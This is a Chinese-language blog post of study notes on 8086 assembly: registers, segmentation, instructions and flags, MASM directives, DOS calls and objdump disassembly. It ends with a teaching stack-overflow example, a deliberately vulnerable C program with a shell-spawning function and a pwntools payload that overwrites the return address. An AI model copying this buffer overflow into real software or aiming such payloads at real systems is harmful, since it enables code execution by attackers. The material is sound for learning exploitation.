Assembly

Assembly

前置知识

  1. 寄存器:CPU中可以存储数据的器件

  2. 汇编语言由以下三类组成

    1. 汇编指令

    2. 伪指令(即指示性语句)

    3. 其他符号

  3. 在内存或者磁盘上 数据和指令地位相同

  4. 数据总线的宽度决定了CPU和外界的数据传输速度.

  5. cpu内部总线实现cpu内部各个器件之间的联系

  6. cpu外部总线实现cpu和主板上其他器件的联系

  7. 编译器的作用:将汇编指令转换为机器码

  8. 汇编语言发展至今,有3类指令

    • 汇编指令,比如mov
    • 伪指令,没有对应的机器码,只是给编译器看的
    • 其他符号,比如+-*/,也没有机器码,只是给编译器看的

    对于CPU来讲,系统中所有存储器的存储单元都处于一个统一的逻辑存储器中,比如包含显存,主板的ROM等等。

寄存器

8086CPU共有14个寄存器

8086CPU所有的寄存器都是16位的,可以存放两个字节

一个字为两个字节

8086上一代CPU中的寄存器都是8位,为了兼容性,AX,BX,CX,DX都可当做独立的两个寄存器使用.

通用寄存器8个

  1. AX,BX,CD,DX通常存放一般数据,被称为通用寄存器

  2. AX可分为第八位AL和高八位AH

  3. 汇编指令不区分大小写

image-20221011221502722
  1. 16位CPU有以下特征

    1. 运算器一次可以处理16位数据
    2. 寄存器的最大宽度为16位
    3. 寄存器和运算器之间的通路为16位
  2. 8086有20位地址总线.8086内部为16位结构,只能传送16位数据,那么如何合成20位数据?

    image-20221011223244003
  3. 地址加法器合成物理地址的方法:

    物理地址=段地址*16+偏移地址

段的概念

以后在编程需要时,可以将若干地址连续的内存单元看作一个段.

注意,由于段地址*16必然是16的倍数,所以一个段的起始地址一定是16的倍数

由于偏移地址为16位,16位的寻址能力为64k,所以一个段的长度最大为64k

cpu可以用不同的段地址和偏移地址形成用一个物理地址

8086给出物理地址的方法:

image-20231123205839082

如图,段地址与偏移地址均为16位,后经过地址加法器转换为20位的物理地址。

物理地址=段地址*16+偏移地址,更一般的说,是物理地址=基础地址+偏移地址

段寄存器

段寄存器就是提供段地址的;

8086有4个段寄存器:

  • CS:代码段寄存器,存放内存代码段区域的入口地址

  • DS:数据段寄存器

    mov 寄存器,内存数据时,8086CPU自动读取DS中的数据作为内存单元的段地址

  • SS:堆栈段寄存器

  • ES:附加段寄存器

当8086CPU要访问内存时,由这四个段寄存器提供内存单元的段地址

CS和IP是8086cpu中最关键的寄存器,他们指示了cpu当前要读取指令的地址

ip为指令指针寄存器

cpu刚开始工作时,cs和ip被设置为cs=FFFFH,ip=0000H;

如果说,内存中的一段信息曾经被cpu执行过的话,那么他所在的内存单元必然被cs:ip指向过

mov指令不能用于设置cs ip的值

同时修改cs ip中的内容:

jmp 2AE3:3

若只修改ip内容:

jmp ax

代码段:

cpu只认被cs:ip指向的内存单元中的内容为指令

注意:8086CPU并不支持将数据直接送入段寄存器(硬件方面的设计缺陷),必须用寄存器中转,例如

mov ds,1000h非法,比如用其它寄存器中转,即mov ax,1000h;mov ds,ax

寄存器(内存访问)

  1. 任何两个地址连续的内存单元,N号单元和N+1号单元,可以将他们看做两个内存单元,也可以看做一个地址为N的字单元中的高位字节单元和低位字节单元.

  2. 已知的mov指令可以完成两种传送过程:

    1. 将数据直接送进寄存器
    2. 将一个寄存器中的内容送入另一个寄存器中
    3. 将一个字节单元中的内容送入一个寄存器:mov al [偏移地址]会自动取DS中的数据作为偏移地址
    4. 8086cpu不支持将数据直接送入段寄存器的操作
  3. mov,add,sub指令

  4. 这一章以8086CPU为基础,8086CPU的所有寄存器都是16位的。

数据传送类指令

任何传送类指令不影响标志位

通用数据传送指令

  • 一般数据传送指令MOV

    MOV AX 09H是可以的

  • 堆栈操作指令PUSH POP

    一次的操作是两个字节

  • 交换指令XCHG

    操作数不能两个同时是存储器操作数

    段寄存器不能是操作数

  • 查表转换指令XLAT

    采用隐含寻址

    [BX+AL]->AL

  • 字位拓展指令CBW CWD

    永远当做有符号数进行拓展

    采用隐含寻址

    若AL最高位为1,执行CBW后AH为0FFH

    若AL最高位为0,则执行CBW后AH为00H

    CWD将AX的符号位拓展到DX

输入输出指令IN OUT

若端口号大于FFH,则端口号必须由DX寄存器指定

IN ACC PORT,这里ACC为AL或者AX,若为16位,则是AX,若8位,则为AL

目标地址传送指令LEA LDS LES

对于LEA,原操作数必为存储器操作数,且目标操作数必须为16位通用寄存器

LDS Reg16 Mem32,读取的是数,不是地址,高16位放在DS,低16位放在指定寄存器

标志传送指令LAHF SAHF PUSHF POPF

标志寄存器:OF DF SF符号标志位(负数时为1) ZF为0位 AF辅助进位位 PF奇偶位(低8位1的个数为偶数时为1) CF

对于LAHF,把标志寄存器的低8位放在AH,SAHF则相反

注意,这里的奇偶校验位是校验的低八位

如何判断溢出?有三种思路

第一种是正+正=负 负+负=正

第二种是最高有效位和符号位进位异或为1

第三种是双符号位,若不同则溢出

算数运算类指令

算数运算类指令,对于加法和减法,除了自增自减不影响CF外,其余均影响CF

对于乘除法,只记乘法即可,除法对标志位均无影响

加法ADD ADC INC

减法SUB SBB DEC NEG CMP

对于NEG,只有操作数为0时,进位标志CF被置0,其余情况均有借位

已知x求-x的补码? 连同符号位全部变反,然后末尾加1 0000 0010 2的补码 1111 1110 (-2)补码 加起来为0

当字节操作数为80H或者8000H时,结果将无变化,但是溢出标志OF置为1

注意,JE和JZ是一样的,JNE和JNZ是一样的

JP和JPE是一样的,JNP和JPO是一样的

对于CMP A,B

若为无符号数,

  • A>B JA JNBE
  • A<B JB JNAE
  • A>=B JAE JNB
  • A<=B JBE JNA

若为有符号数

  • A>B JG JNLE
  • A<B JL JNGE
  • A>=B JGE JNL
  • A<=B JBE JNA

如何比较AB的大小?

若为无符号数 是比较好判断的 首先是ZF若为1 则A=B,若ZF为0,CF为1,则A<B,否则A>B

若为有符号数,则比较复杂,SF异或OF为0且ZF为0时,A>B

SF异或OF为1且ZF为0时,A<B

乘法MUL IMUL

若两个数都是8位,则其中一个默认在al中,结果存放在ax

若两个数都是16位,则其中一个默认在ax中,结果存放在dx,ax

MUL对CF和OF的标志位产生有效影响,但是其他标志位不确定

注意!!!若结果的高半部分为全0,则CF=OF=0,否则为1

什么是IMUL?

IMUL是有符号数的乘法,对标志位的影响类似MUL,唯一的区别是当高半部分是低半部分的符号拓展时CF=OF=0,否则为1

除法DIV IDIV

除法对标志位均无影响

除法要求被除数的字长是除数字长的两倍

采用隐含寻址,被除数可以是AX或者DX+AX

若除数为8位,ax / 除数 = al ... ah

若除数为16位,dx,ax / 除数 = ax ... dx

逻辑运算

逻辑与AND

主要应用:让某一位清零

会影响六个标志位,但是CF和OF始终为0

逻辑或OR

会影响六个标志位,但是CF和OF始终为0

主要应用:让某一位变成1

逻辑非NOT

对所有标志位均无影响

异或XOR

让某些位取反

会影响六个标志位,但是CF和OF始终为0

测试指令TEST

两操作数按位与,但是结果不送回目的操作数

会影响六个标志位,但是CF和OF始终为0

移位指令

任何移位 出来的永远是到CF

非循环移位

算数移位SAL SAR

SAL OPRD CL,当移1位时,CL可以为1,否则必须是CL

若移位后操作数的最高位和CF不同,则OF=1,溢出

左移补的是0 右移补的是CF

逻辑移位SHL SHR

和算术移位类似,但是OF=1不代表溢出

左移和右移补的是0

循环移位

带CF RCL RCR

不带CF ROL ROR

串操作指令

源串DS:SI,其中DS可改为SS ES

目的串:ES:DI,都不可更改

若DF=0时 按照自增方式,DF=1,按照自减方式

重复前缀不影响标志位

传操作指令时8086指令系统中唯一源操作数和目的操作数都为存储器操作数

重复前缀由REP REPZ REPNZ

串操作指令可能影响标志位

串传送MOVSB MOVSW

串比较CMPSB CMPSW

串比较指令影响标志位

串扫描SCASB SCASW

串扫描指令影响标志位

串装入LODSB LODSW

串存储STOSB STOSW

程序控制指令

无条件转移

影响标志位

无条件转移分为段间转移和段内转移,段内转移分为段内短转移和段内近转移,

段间转移:jmp far ptr 标号,又称为远转移

段内短转移:jmp short 标号

段内近转移:jmp near ptr 标号

段内转移还可以是jmp word ptr 内存单元地址

段间转移还可以是jmp dword ptr 内存单元地址

条件转移

影响标志位

采用直接寻址方式的短转移,即只能以当前IP为中心的-128-127字节

循环控制指令LOOP LOOPZ LOOPE LOOPNP LOOPNE

所有的循环指令都是短转移

也是以当前IP为中心的-128-127字节

子程序调用和返回

中断向量的高16位作为CS 低16位作为IP

call不能实现短转移

call 标号相当于push ip,jmp near ptr 标号

call far ptr 标号实现的是段间转移

中断类型指令INT IRET

对于INT

和调用子程序不同,这里需要改变标志位

首先是把IF置为0,TF置为0

然后压栈CS 压栈IP

然后得到中断服务程序的入口地址

对于IRET

中断返回指令位于中断服务子程序的最后一条,用于返回被中断的程序

和RET不用:除了返回 还要返回标志寄存器

处理器控制指令

CLC CLD CLI STI STD STC CMC

汇编语言程序设计

image-20221228140630749

标号

标号可以看做指令地址的别名

变量

在指令性语句中直接引用变量名代表一个数

当变量出现在寄存器间接寻址的操作数中表示该变量的偏移地址

在指示性语句中代表一个偏移地址

ADR3 DD NUM中低16位存偏移地址 高16位存段地址

表达式

任何表达式的值在程序被汇编的过程中计算确定 而不是到程序运行时计算

伪指令

操作数的值不能超过伪指令所定义的范围

STRING1 DB 'ABCDEFG';正确

STRING2 DW 'AB','CD';

DW/DD不允许2个以上字符

属性定义伪指令

1
2
SUB1 LABEL FAR
SUB2: MOV AX,30H

SUB1和SUB2入口地址相同

表达式运算符

算术运算符 +-*/ mod

逻辑运算符 and or not xor

关系运算符eq等于 ne不等于 lt小于 le小于等于 gt大于 gr大于等于

若比较常量 则按照无符号数比较

若比较变量 则比较偏移地址

取值运算符 OFFSET

属性运算符 PTR

TYPE运算符 取变量或者标号的类型属性 NEAR-1 FAR-2 BYTE1 WORD2 DWORD4 QWORD8 TQWORD10

LENGTH运算符 若无DUP则为1 若有DUP则按照DUP取值

SIZE只能用于变量 取值为LENGTH和TYPE的乘积

HIGH/LOW运算符

取高字节和低字节

符号定义伪指令

count equ 5

段定义伪指令

1
2
3
4
段名 SEGMEMT 定位类型


段名 ENDS

定位类型有四种

对于PARA和PAGE类型,起始地址一定是0

  • PAGE 页型

    一个页面256个字节

    表示该段从一个页面的边界开始存放数据

    且段地址一定以00H结尾

  • PARA 小节型(默认值)

    且地址一定是以0H结尾

  • WORD 字型

    起始地址00B结尾

  • BYTE 字节型

    起始地址任意

组合类型定义段与段之间的关系

  • NONE

    这个是默认情况 即使具有相同的段名 也分别放入内存

  • PUBLIC

    相同名字的段会放在一起

  • STACK

    这个比较重要

  • COMMON

    保留最长的

  • MEMORY

    表示本段在存储器应定位在其它所有段之后的最高地址上

  • AT

    根据表达式的值确定段地址

先按照组合类型进行组合,优先级比较高,然后按照类别名进行组合,优先级比较低

设置段寄存器伪指令

CS段不用初始化

1
2
3
4
5
MOV AX,DATA1;段名就表示段地址
或者可以这么写:
MOV AX,SEG DATA1
;下面表示容量
MOV AX,OFFSET DATA1

那么操作系统怎么识别CS呢

1
2
3
4
5
6
CODE SEGMENT
START:
...
CODE ENDS
END START
;START标识随意,但是要对应,这个标识相当于c语言中的main函数

过程定义伪指令

1
2
3
4
过程名 PROC [NEAR/FAR]
...
RET
过程名 ENDP

当前位置计数器$与定位伪指令ORG

DOS功能调用

带显示的键盘输入(1号功能)

1
2
3
char_buf DB max;最大长度
DB length;长度
DB max Dup(0)

最后的回车不算进length,但是算进max,也就是最多输入max-1个字符

回车键最后对应的Ascii是0dH

换行是0aH

不带显示的键盘输入(8号功能)

字符串输入(0AH号功能)

字符显示(2号功能)

字符串显示(9号功能)

返回DOS系统

函数调用分析

call指令后面可以跟上不同的数据源,比如寄存器,存储单元。而不同的数据源不一定会将CS入栈。

1
2
3
push CS
push IP
jmp near ptr 标号

ret指令相当于进行如下操作:

1
pop IP

retf指令相当于进行如下操作:

1
2
pop IP
pop CS

leave指令等价于:

1
2
mov esp,ebp
pop ebp

如何使用objdump得到反汇编代码?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
The following i386/x86-64 specific disassembler options are supported for use
with the -M switch (multiple options should be separated by commas):
x86-64 Disassemble in 64bit mode
i386 Disassemble in 32bit mode
i8086 Disassemble in 16bit mode
att Display instruction in AT&T syntax
intel Display instruction in Intel syntax
att-mnemonic
Display instruction in AT&T mnemonic
intel-mnemonic
Display instruction in Intel mnemonic
addr64 Assume 64bit address size
addr32 Assume 32bit address size
addr16 Assume 16bit address size
data32 Assume 32bit data size
data16 Assume 16bit data size
suffix Always display instruction suffix in AT&T syntax
amd64 Display instruction in AMD64 ISA
intel64 Display instruction in Intel64 ISA

8086CPU格式

1
objdump -d -M intel,i8086 a.out

64位Intel格式

1
objdump -d -M intel,x86-64 a.out

32位Intel格式

1
objdump -d -M intel,i386 a.out

我们对下面的代码进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int add(int a, int b)
{
int c;
c = a + b;
return c;
}
int main()
{
int a = 1;
int b = 2;
int cc;
cc = add(a, b);
return 0;
}
// gcc -O0 -g -m32 main.c && objdump -d -M intel -S a.out 1>assembly_code

image-20231125141210466

我们注意到,在执行call之前,做了一件事:将参数压入栈

对于add(a, b),首先压栈的是参数b,然后是参数a;

然后我们执行call指令

image-20231125141409923

这里,我们需要注意一下call之后的指令地址:0x565561fe

image-20231125142000640

image-20231125143500656

image-20231125143555195

栈溢出的一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}
// gcc -no-pie -fno-stack-protector -z execstack -m32 main.c

我们的目标是执行exploit函数,通过前面我们对函数调用的分析,我们知道,在栈中曾经暂存了IP寄存器的数值,而这最终要pop到IP寄存器中,我们是否可以通过覆盖掉此值实现跳转到任意函数地址呢?答案是可以的,因为CPU并不会检查栈溢出。

我们通过gdb直接进入func函数。

image-20231125153355786

image-20231125153953854

通过对汇编代码的分析,我们可以构建如下的payload:

1
2
3
4
5
6
from pwn import process, p32
p = process('./a.out')
offset = 0x28 + 0x4
payload = b'a' * offset + p32(0x080491b6)
p.sendline(payload)
p.interactive()

image-20231125154040426

字节对齐

编译如下代码:

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main()
{
char *name = "D4wn";
printf("My name is %s");
return 0;
}
// gcc -no-pie -fno-stack-protector -m32 main.c

image-20231125163926709

观察反编译代码,我们可以看到有三行比较特殊,负责16字节对齐,对齐前后的效果只是esp的位置发生了改变。


Assembly
https://d4wnnn.github.io/2022/10/11/Security/Assembly/
作者
D4wn
发布于
2022年10月11日
许可协议